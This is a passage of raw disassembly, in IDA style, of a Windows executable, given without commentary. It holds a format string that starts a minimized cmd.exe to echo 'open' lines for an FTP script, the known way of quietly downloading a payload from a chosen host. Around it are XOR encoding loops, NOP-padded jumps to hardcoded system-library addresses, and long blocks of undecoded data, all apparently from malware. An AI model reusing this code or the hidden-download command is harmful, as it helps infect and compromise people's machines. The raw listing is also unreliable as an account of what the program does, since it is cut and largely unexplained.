[esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5FADE9 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B8F+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B8F+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 0E990777Fh, 777E444Ch, 18F5E990h ; --------------------------------------------------------------------------- jg short loc_437B49 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... nop jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0B2h, 0FFh dd 0E9907780h, 7781017Ch, 1FBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F1h, 99h ; --------------------------------------------------------------------------- jle short loc_437B6D mov eax, ecx mov dword ptr [eax], offset off_43F1D4 retn 4 ; --------------------------------------------------------------------------- loc_437B01: ; DATA XREF: ___:off_43F1D4o push esi mov esi, ecx call sub_437EBC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_437B17 push esi call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx loc_437B17: ; CODE XREF: ___:00437B0Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_437B49: ; CODE XREF: ___:00437AD0j cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- db 0CCh db 90h db 0E9h, 2 dup(0FAh) dd 0E9907780h, 777E5424h db 90h ; --------------------------------------------------------------------------- loc_437B6D: ; CODE XREF: ___:00437AF4j jmp near ptr 77C3FA76h ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 7F487EE9h dd 3D83ED77h, 5109B4h, 0FF0C75FFh, 90042474h, 7FD25BE8h dd 68C35977h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 7B777FF5h, 0F5F9E990h ; --------------------------------------------------------------------------- jg short loc_437C51 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437BDA proc near ; CODE XREF: sub_4199C0+28p jmp near ptr 77C4FA10h sub_437BDA endp ; --------------------------------------------------------------------------- db 0BDh ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: ___:00437BD8j ; sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E3h, 8Dh dd 3DE97780h, 6F778073h, 187E990h, 97E97781h, 11778091h dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h, 44E97780h dd 0A177809Ah, 0FEE2E990h, 6FE97780h, 2577809Eh, 71ECE990h dd 0E9907780h, 77809103h, 7F43AEE9h, 0E9901677h, 777E4845h dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0E990777Eh dd 77807BFDh, 9B30E990h, 0E9907780h, 7780269Bh, 25C1E990h dd 0C8E97780h, 34778113h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437D4C proc near ; CODE XREF: ___:0043297Cp jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- db 88h, 90h, 0E9h dd 777FF01Ch, 808E54E9h, 50929C77h, 886AC965h, 4C995160h dd 437F0E68h, 0A16400h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FD5ECh dd 0D835990h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h dd 0D8B777Eh, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22F8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 9BE85353h, 9002469Eh dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 77801FDEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437EBC proc near ; CODE XREF: ___:00437B04p nop jmp near ptr 77C21868h sub_437EBC endp ; --------------------------------------------------------------------------- dw 8AE9h dword_437EC4 dd 0B3777FCFh, 801FCDE9h, 0E9900477h, 777FAEDAh, 7011E990h dd 88E9777Eh, 0CA77801Eh, 3000068h, 6800h, 25E80001h, 59000000h dd 7EE9C359h, 6C778157h, 0C3C3C033h, 7E72A3E9h, 0E9907977h dd 777E72D3h, 0D46EE990h, 0E990777Fh, 777FDD80h, 6F15E990h dd 0E9907781h, 75C6844Bh, 0C6852AE9h, 0E9909F75h, 75C5A102h dd 7553E990h, 0E99075C5h, 75C684F8h, 0A029E990h, 0E99075C4h dd 75C53908h, 0F765E990h, 0E99075C5h, 75C4DB94h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23C8C8Bh, 8D04E990h, 99E9023Ch, 28023D80h, 854EE990h dd 0E990023Dh, 23E808Ch, 9194E990h, 0E990023Eh, 23F8080h dd 40807BE9h, 0E9901102h, 24097C4h, 99A7E990h, 0E9900240h dd 2418068h, 41831BE9h, 0E9903702h, 2418461h, 8056E990h dd 0E9900242h, 242846Fh, 804AE990h, 0E9900243h, 2438BB3h dd 803EE990h, 0E9900244h, 24482C9h, 8032E990h, 0E9900245h dd 246802Ch, 912CE990h, 0E9900246h, 2469D46h, 801AE990h dd 0E9900247h, 24785D4h, 8A61E990h, 0E9900247h, 2478B38h dd 8002E990h, 83E90248h, 7023C88h, 7FF6E990h, 0E990023Ch dd 23B7FF0h, 8976E990h, 0E5E9023Ah, 0B8023A7Fh, 397FDFE9h dd 0E990E102h, 23887CEh, 3883C7E9h, 0E9905D02h, 2387FCCh dd 8403E990h, 0B1E90237h, 34023782h, 7FBAE990h, 0E990022Eh dd 2378290h, 8232E990h, 0E9900237h, 7C4C9095h, 8FA7E990h dd 0E9907C4Ch, 2377F9Ch, 368D91E9h, 0E990E102h, 23686B1h dd 7F8AE990h, 0E9900236h, 2358957h, 88A8E990h, 0E9900235h dd 23586DEh, 3585D7E9h, 0E9908002h, 235844Eh, 8248E990h dd 0E9900235h, 2357F60h, 8A91E990h, 0E9900234h, 234890Ch dd 85ACE990h, 6E90234h, 0F0023485h, 347F43E9h, 0E9905802h dd 2338BD6h, 8841E990h, 0E9900233h, 2338690h, 8286E990h dd 0E9900233h, 2337F24h, 8B32E990h, 9DE90232h, 92023287h dd 328757E9h, 0E7E9E102h, 0B8023280h, 7F06E990h, 0FE90232h dd 4602318Ah, 86C2E990h, 0E9900231h, 2317EF4h, 308D20E9h dd 32E90C02h, 6F02308Bh, 87A8E990h, 0DE90230h, 0B8023086h dd 7ED6E990h, 0E9900230h, 22F7ED0h, 2CB3E990h, 5AE9001Ch dd 34024886h, 8FBFE990h, 0B9E90252h, 58024E7Eh, 527EB3E9h dd 0E9901B02h, 2517EACh, 508CA3E9h, 0E9900702h, 2507EA0h dd 8160E990h, 0E990024Fh, 24F7E94h, 8B74E990h, 0E990024Eh dd 24E881Bh, 8697E990h, 0E990024Eh, 24E8375h, 899DE990h dd 19E90248h, 4B024D8Ah, 85FAE990h, 0E990024Dh, 24D823Ah dd 7E5EE990h, 0E990024Dh, 24C7E58h, 7E52E990h, 75E9024Bh dd 28024A9Bh, 4A97DEE9h, 0E9904B02h, 24A95FDh, 939DE990h dd 35E9024Ah, 0C7024A7Eh, 7E2EE990h, 0E9900249h, 7C608F38h dd 0BD63E990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381DE proc near ; CODE XREF: ___:0042DBE1p jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- db 67h, 90h db 0E9h, 8Fh, 62h db 68h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp nop jmp near ptr 71AB615Ah sub_4381F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... jmp near ptr 71AB428Ah sub_4381F6 endp ; --------------------------------------------------------------------------- db 83h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... jmp near ptr 71AB9639h sub_4381FC endp ; --------------------------------------------------------------------------- db 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438202 proc near jmp near ptr 71AC1028h sub_438202 endp ; --------------------------------------------------------------------------- push ebp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p nop jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438214 proc near nop jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438220 proc near ; CODE XREF: sub_42E870+187p nop jmp near ptr 71AB951Eh sub_438220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438226 proc near nop jmp near ptr 71AB3E00h sub_438226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43822C proc near ; CODE XREF: sub_42DB00+B1p jmp near ptr 71AB2B66h sub_43822C endp ; --------------------------------------------------------------------------- db 0A9h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438244 proc near ; CODE XREF: sub_42DA80+10p nop jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438250 proc near ; CODE XREF: sub_434BA0+Bp jmp near ptr 71AB94DCh sub_438250 endp ; --------------------------------------------------------------------------- db 0F0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- dd 6888EFE9h, 0E9902571h, 7167C2B1h, 0A952E990h, 0E9907167h dd 7167AA9Bh, 67A9F0E9h db 71h, 0D9h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43827A proc near nop jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- dd 6804E4E9h, 0E9907671h, 7167C1FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p jmp near ptr 71ABE6EBh sub_43828C endp ; --------------------------------------------------------------------------- db 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap jmp near ptr 71AC0BDEh sub_438292 endp ; --------------------------------------------------------------------------- push eax ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438298 proc near jmp near ptr 71AB2A5Eh sub_438298 endp ; --------------------------------------------------------------------------- dec esi ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp nop jmp near ptr 71B2578Ch sub_43829E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382AA proc near ; CODE XREF: ___:00426390p nop jmp near ptr 71B2517Fh sub_4382AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_420090+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382BC proc near ; CODE XREF: sub_420090+21p nop jmp near ptr 76BF3A9Ah sub_4382BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 80h, 0DFh dword_4382CC dd 0E9907780h, 7780DE51h, 0DE96E990h, 41E97780h, 8D7780E0h dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 